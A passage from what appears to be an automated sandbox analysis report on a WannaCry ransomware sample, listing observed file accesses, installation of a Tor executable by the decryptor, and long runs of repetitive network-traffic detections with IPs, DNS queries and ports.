Source: C:\Users\user\Downloads\WannaCry (3).EXE	File opened: C:\Users\All Users\Microsoft\ClickToRun\MachineData\Catalog\Packages\~SD1D82.tmp
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File opened: C:\Users\All Users\Microsoft\ClickToRun\MachineData\~SD1D80.tmp

Networking

Installs TOR (Internet Anonymizer)

Source: C:\Users\user\Downloads\@WanaDecryptor@.exe

File created: C:\Users\user\Downloads\TaskData\Tor\tor.exe

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.219.82.59
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: github.githubassets.com
Source: global traffic	DNS traffic detected: DNS query: avatars.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: user-images.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: github-cloud.s3.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: camo.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: collector.github.com
Source: global traffic	DNS traffic detected: DNS query: api.github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
